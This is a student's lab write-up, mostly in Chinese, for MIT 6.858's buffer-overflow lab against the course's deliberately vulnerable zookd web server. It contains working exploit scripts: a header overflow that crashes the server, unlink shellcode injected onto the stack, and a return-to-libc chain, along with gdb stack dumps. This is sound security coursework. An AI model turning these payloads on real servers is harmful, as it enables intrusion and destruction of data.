Computer Security - Buffer overflows

MIT6.858 -- Computer Systems Security 课程

Lab Setup

Enviroments: Mac laptops with the ARM M2 processor

下载VM镜像 安装qemu(x86模拟器)

brew install qemu

删除6.858-x86_64-v22.sh中的-enable-kvm flag。注意,不要将这一行注释掉,而是直接删除,否则bash脚本就断开了,详见stacks overflow

启动镜像之后就可以用ssh连接了

ssh -p 2222 student@localhost

当时课程网站的git仓库clone不了,就在github上找了一个2020年的实验。

~/.ssh/config加一行alias,方便ssh连接。推荐使用vscode的插件 Remote Explorer 来连接开发环境

Host 858vm
  User student
  HostName localhost
  Port 2222

Lab1 Buffer overflows

Part 1: Exercise1

首先要找到zookd服务器的vulnerability,我找了如下几个,但是还有更多。

  1. zookd.c -> http.c:105 process_client 中有 reqpath是分配在栈上,process_client -> http_request_line -> url_decode 调用http.c中的url_decode作为dst参数传入,但是http_request_line中的buf设置的大小是8192,比reqpath(4096)大, 如果request line的请求url过长,那么就会覆盖reqpath所在的栈上内容,造成buffer overflow

  2. http.c:286 经过decode后的URI传给 http_serve, 如果URI(参数name)全是 '\0', 那么strlen测量的字符串长度就一直是0. strncat将name接到pn的末尾后就会覆盖栈上的内容(char pn[2048]) 因此这个错误应该会比上面的那个错误先被触发(http_serve返回时) 不容易触发,有防护

  3. http.c:23 touch函数接受的参数如果过长,会造成栈溢出

  4. http.c:159 在处理http_request_header时,value是在栈上分配的(char value[512]),请求体的参数值被url_decode到value后,没有检测长度 基于这个构造请求体:

injectValue = b"a" * 600
req =   b"GET / HTTP/1.0\r\n" + \
        b"Exploid: " + injectValue + \
        b"\r\n"

Exercise2

再使用buffer overflow的技术导致服务器崩溃(暂时不需要注入shellcode)。主要原理就是覆盖栈上保存的返回地址,让程序返回到无效的地址。 使用上面找到的第4个vulnerability来构造攻击,主要是溢出 http.c:http_request_header中的value。

def build_exploit():
    injectValue = b"a" * 600
    req =   b"GET / HTTP/1.0\r\n" + \
            b"Exploid: " + injectValue + \
            b"\r\n"
    return req

Part 2: Code Injection

zookd这个http server的栈是可执行的,所以可以往栈上注入代码,通过覆盖了当前函数的返回值,跳到栈中injected code的起始位置,可以执行攻击者的代码。

exercise 3 修改Shellcode.S来完成 unlink 系统调用的运行,完成unlink /home/student/grades.txt

#include <sys/syscall.h>

#define STRING  "/home/student/grades.txt"
#define STRLEN  24
#define ARGV    (STRLEN+1)

.globl main
  .type main, @function

 main:
  jmp calladdr

 popladdr:
  popq  %rcx       /* get the STRING address */
  movq  %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */
  xorq  %rax,%rax   /* get a 64-bit zero value */
  movb  %al,(STRLEN)(%rcx)  /* null-terminate our string */

  movb  $SYS_unlink,%al   /* set up the syscall number */
  movq  %rcx,%rdi   /* syscall arg 1: string pathname */
  syscall       /* invoke syscall */

  xorq  %rax,%rax   /* get a 64-bit zero value */
  movb    $SYS_exit,%al   /* set up the syscall number */
  xorq  %rdi,%rdi   /* syscall arg 1: 0 */
  syscall       /* invoke syscall */

 calladdr:
  call  popladdr
  .ascii  STRING

exercise 4 使用gdb找到 http_request_headers 中value在栈上的位置,这个位置就是注入代码的开始位置。注意:使用gdb时要在目录~/lab下运行,这样gdb才能读取.gdbinit文件,跟随子进程跳转。

(gdb) print &value[0]
$1 = 0x7fffffffda50
(gdb) print &envvar[0]
$1 = 0x7fffffffd850
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc90:
 rip = 0x555555556f4b in http_request_headers (http.c:124); 
    saved rip = 0x555555556b29
 called by frame at 0x7fffffffecc0
 source language c.
 Arglist at 0x7fffffffdc80, args: fd=4
 Locals at 0x7fffffffdc80, Previous frame's sp is 0x7fffffffdc90
 Saved registers:
  rbx at 0x7fffffffdc78, rbp at 0x7fffffffdc80, rip at 0x7fffffffdc88

可以看到当前栈帧的保存的rbp、rip所在的栈上的地址。

完成exploit-2.py

"""
  bottom of                                             top of
  memory                                                memory

          envvar            value          i    sbp        ret
  <-- [0          512][ 0           512 ][   ][        ][        ] main...
"""
addr_value_buffer = 0x7fffffffda50
addr_retaddr = 0x7fffffffdc88

def build_exploit(shellcode):
    ## Things that you might find useful in constructing your exploit:
    ##
    ##   urllib.quote(s)
    ##     returns string s with "special" characters percent-encoded
    ##   struct.pack("<Q", x)
    ##     returns the 8-byte binary encoding of the 64-bit integer x

    # 将shellcode之后到ret开始地址的中间内容填充满
    shellcode += b"A" * ((addr_retaddr - addr_value_buffer) - len(shellcode))

    # 覆盖返回地址为value_buffer的起始地址
    shellcode += struct.pack("<Q", addr_value_buffer)

    req =   b"GET / HTTP/1.0\r\n" + \
            b"Exploid: " + shellcode + \
            b"\r\n"
    return req

Part 3: Return to libc

当zookd的栈被标志为不可执行后,就不能通过注入代码来完成攻击了,只能使用Return-Oriented-Programming的技术,找现有程序汇编代码中的gadget,通过每次覆盖返回地址,不断地跳转,完成断章取义式的攻击。

这个lab给了一个现有的gadget:accidentally函数。我们可以查看他的汇编:

(gdb) disas accidentally
Dump of assembler code for function accidentally:
   0x000055555540188a <+0>: push   %rbp
   0x000055555540188b <+1>: mov    %rsp,%rbp
   0x000055555540188e <+4>: mov    0x10(%rbp),%rdi
   0x0000555555401892 <+8>: nop
   0x0000555555401893 <+9>: pop    %rbp
   0x0000555555401894 <+10>:  ret    
End of assembler dump.

依旧使用http_request_headers中的value buffer做溢出。画出breakpoint设置在http_request_header位置时的栈,便于理解

            64bit          0
            |process_client|
            +--------------+ 16 byte
            |    ret addr  |   --> 当前函数的返回地址 (需要被覆盖为accidentally的起始地址)
            +--------------+ 8
            |   saved bp   |   --> 保存的ebp
    ebp ->  +--------------+ 0
            |      int i   |
            +--------------+ -8
            |              |
            |              |
            |              |
            +--------------+ <- value 起始地址

我一开始的想法是把 pathstr:/home/student/grades.txt以及填充的返回地址都放在value buffer中,但是发现由于accidentally使用 mov 0x10(%rbp),%rdi来获取字符串的地址,而这个pathstr加上\0的结尾字符,长度超过了24(0x10 + 8)。不够放其他的返回地址,否则不能对齐。所以只能选择从ret_addr开始进行溢出,value到ret_addr之间都填充为garbage。

假设完成了栈上的溢出,继续画出调用到accidentally开始时的栈帧:

            64bit          0
            |              |
            +              + 40 byte
            |  pathstr     |   --> 覆盖为真正存储 pathstr 的位置
            +--------------+ 32
            |  pathstr_addr|  --> 0x10(%rbp) 所指向的位置,覆盖为 pathstr 的起始地址 $rbp+32
            +--------------+ 24 
            |unlink_addr   |   accidentally的返回地址应该被覆盖为 unlink 函数的起始地址
            +--------------+ 16
            | random rbp   |  由于push rbp而形成的  (原来放着覆盖的accidentally的起始地址)
            +--------------+ 8  <-- rsp ,由于move rsp rbp,此时rbp也指向这里

所以最终在http_request_header中栈帧应该被覆盖为:

            64bit          0
            |              |
            +--------------+ 48 byte
            |              |  
            +              + 40
            |   pathstr    |
            +--------------+ 32 
            | pathstr_addr |   
            +--------------+ 24
            | unlink_addr  |
            +--------------+ 16 byte
            |    ret addr  |   --> 当前函数的返回地址 覆盖为accidentally的起始地址
            +--------------+ 8  - +
            |   saved bp   |      |
    rbp ->  +--------------+ 0    |
            |      int i   |      |     } -> fill with junk
            +--------------+ -8   |
            |              |      |
            |              |      |
str_addr -> +--------------+ <- value 起始地址 -512

因此filename所在的位置就是:

(gdb) print $rbp + 32
$4 = (void *) 0x7fffffffdca0

注意filename后面也要加\r\n

addr_value_buffer = 0x7fffffffda50
addr_retaddr = 0x7fffffffdc88
addr_rbpaddr = 0x7fffffffdc80 # http_request_header中$rbp所指向的位置
addr_accidentally = 0x55555540188a # 第一次尝试的时候把这个返回地址搞错了
libc_unlink_addr = 0x1555554011c0
filename_addr = addr_rbpaddr + 32

# 输入64位int
def percent_hex_encode(payload: int):
    r = b""
    for c in payload:  # for every char at payload
        #           转换为单字节       转换为16进制表示的str 编码为bytes
        r += b"%" + c.to_bytes(1, "little").hex().encode()
    return r

def build_exploit():
    ## Things that you might find useful in constructing your exploit:
    ##
    ##   urllib.quote(s)
    ##     returns string s with "special" characters percent-encoded
    ##   struct.pack("<Q", x)
    ##     returns the 8-byte binary encoding of the 64-bit integer x


    # 将shellcode之后到ret开始地址的中间内容填充满
    filename = b"/home/student/grades.txt" + b"\0" + b"\r\n"

    # 其他部分填充garbage
    shellcode = b"A" * (addr_retaddr - addr_value_buffer)

    # 覆盖到栈上的各个地址
    payload = b""
    # 覆盖http_request_header返回地址为accidentally的起始地址
    payload += struct.pack("<Q", addr_accidentally)
    # 覆盖accidentally的返回地址为unlink的起始地址
    payload += struct.pack("<Q", libc_unlink_addr)
    # 覆盖为filname的起始地址 $rbp+32 (即对于accidentally栈帧来说 0x10(%rbp) 所指向的位置 )
    payload += struct.pack("<Q", filename_addr)
    # 由于我们要攻击url_decode函数,但是url_decode遇到\0字节就会停止读取了,
    # 所以要把输入的已经转换为64bit的字节序列,转换为%百分号encode的编码

    # 将 \0 编码为 %00
    shellcode += percent_hex_encode(payload)
    
    # 写入filename
    shellcode += filename

    req =   b"GET / HTTP/1.0\r\n" + \
            b"Exploid: " + shellcode + \
            b"\r\n"
    return req

使用gdb来检查 在http_request_header设置断点,检查overflow的内容是否已经全部写上去了

(gdb) x/g $rbp + 8
0x7fffffffdc88: 0x0000555555556b8c
(gdb) x/g $rip
0x555555401d8c <http_request_headers+365>:  0x4800001499358d48
(gdb) x/g $rbp + 16
0x7fffffffdc90: 0x00001555554011c0
(gdb) print *(char *)($rbp + 32)
$16 = 47 '/'
(gdb) print (char *)($rbp + 32)
$17 = 0x7fffffffdca0 "/home/student/grades.txt"
(gdb) x/g $rbp + 24
0x7fffffffdc98: 0x00007fffffffdca0
(gdb) print $rbp + 32
$18 = (void *) 0x7fffffffdca0

Part 4: fix

第四部分就是修复之前用到的漏洞,主要就是几个buffer的长度问题,尤其是url_decode时dst的长度的提供。

知识补充

x86

x86内存布局、寄存器相关、函数调用可以参考cs161课程

Smashing the Stack in the 21st Century

gdb

command

shell

sed的 \1-9 提取匹配的模式。s动作表示替换 s'/oldstr/newstr/g

$ echo QEMU emulator version 7.2.0 | sed 's/QEMU emulator \([a-zA-Z]*\) \([0-9]\)\.\([0-9]\).*/\1.\2.\3/'
version.7.2